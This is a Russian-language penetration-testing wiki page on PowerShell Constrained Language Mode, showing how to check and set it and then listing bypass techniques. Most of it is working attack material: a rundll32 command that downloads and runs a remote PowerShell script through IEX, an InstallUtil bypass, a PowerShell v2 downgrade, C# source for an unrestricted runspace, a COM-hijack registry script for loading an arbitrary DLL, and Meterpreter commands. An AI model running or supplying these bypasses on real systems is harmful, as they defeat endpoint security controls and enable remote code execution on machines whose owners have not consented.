Clm — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
(Новая страница: «Категория:Pentest CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций. = Обще…»)
 
(нет различий)

Текущая версия на 14:02, 16 марта 2022


CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций.

Общее

Определить включен ли CLM

1 PS C:\> $ExecutionContext.SessionState.LanguageMode
2 FullLanguage
3 PS C:\> $ExecutionContext.SessionState.LanguageMode
4 ConstrainedLanguage

Поменять режим(права админа)

1 PS C:\> $ExecutionContext.SessionState.LanguageMode
2 FullLanguage
3 PS C:\> $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
4 PS C:\> $ExecutionContext.SessionState.LanguageMode
5 ConstrainedLanguage

Или выставить/удалить системную переменную окружения "__PSLockdownPolicy" (значение "4" если включено).

Обход защиты

rundll32.exe

https://github.com/iomoath/PowerShx


https://github.com/ropbear/CLMBypass

1 rundll32.exe CLMBypass.dll,Run IEX(New-Object Net.WebClient).DownloadString('http://192.168.49.72:8080/LAPSToolkit/LAPSToolkit.ps1');
2 rundll32 PowerShx.dll,main -i
3 PowerShx.exe -i

InstallUtil.exe

https://github.com/calebstewart/bypass-clm


1 dir \Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$
2 
3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\tmp\bypass-clm.exe"

powershell version 2

1 powershell -version 2

Custom PowerShell Runspace

 1 using System;
 2 using System.Management.Automation;
 3 using System.Management.Automation.Runspaces;
 4 
 5 namespace CLMBypass
 6 {
 7     class Program
 8     {
 9         static void Main(string[] args)
10         {
11             String cmd = args[0];
12             Runspace rs = RunspaceFactory.CreateRunspace();
13             rs.Open();
14             PowerShell ps = PowerShell.Create();
15             ps.Runspace = rs;
16             ps.AddScript(cmd);
17             ps.Invoke();
18             rs.Close();
19         }
20     }
21 }

Скомпилировать как

1 C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe /r:"System.Management.Automation.dll" CLMBypass.cs


Использовать

1 .\CLMBypss.exe "COMMAND"

dll loader - создание своего object type

Поместить DLL на сервер и запустить следующий код:

 1 $dllPath = "C:\test.dll"
 2 $uuid = "{72C24DD5-D70A-438B-8A42-98424B88D3AD}"
 3 
 4 New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS -erroraction 'silentlycontinue' | Out-Null
 5 
 6 $matches = whoami /user | select-string -Pattern "(S-1-5-[-0-9]+)" -all | select -ExpandProperty Matches
 7 $sid = $matches.value
 8 
 9 $key = 'HKU:\{0}_classes' -f $sid
10 
11 # Добавление InProcServer
12 New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null
13 $key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $uuid
14 New-Item -Path $key -Name 'InprocServer32' -erroraction 'silentlycontinue' | Out-Null
15 $key = 'HKU:\{0}_classes\CLSID\{1}\InprocServer32' -f $sid, $uuid
16 New-ItemProperty -Path $key -Name "(Default)" -Value $dllPath -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null
17 
18 # Добавляем коротное название
19 $key = 'HKU:\{0}_classes' -f $sid
20 New-Item -Path $key -Name xpn -erroraction 'silentlycontinue' | Out-Null
21 $key = 'HKU:\{0}_classes\xpn' -f $sid
22 New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null
23 $key = 'HKU:\{0}_classes\xpn\CLSID' -f $sid
24 New-ItemProperty -Path $key -Name "(Default)" -Value $uuid -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null
25 
26 # Запуск
27 New-Object -ComObject xpn -ErrorAction 'SilentlyContinue' | Out-Null

Можно написать DLL, который будет отключать CLM.


Подробнее: https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/

MSF Meterpreter

Meterpreter в метасплоите отключает защиту CLM.

Для этого нужно создать соединение, перейти в него и ввести следующие команды:

1 load powershell
2 powershell_shell

Ссылки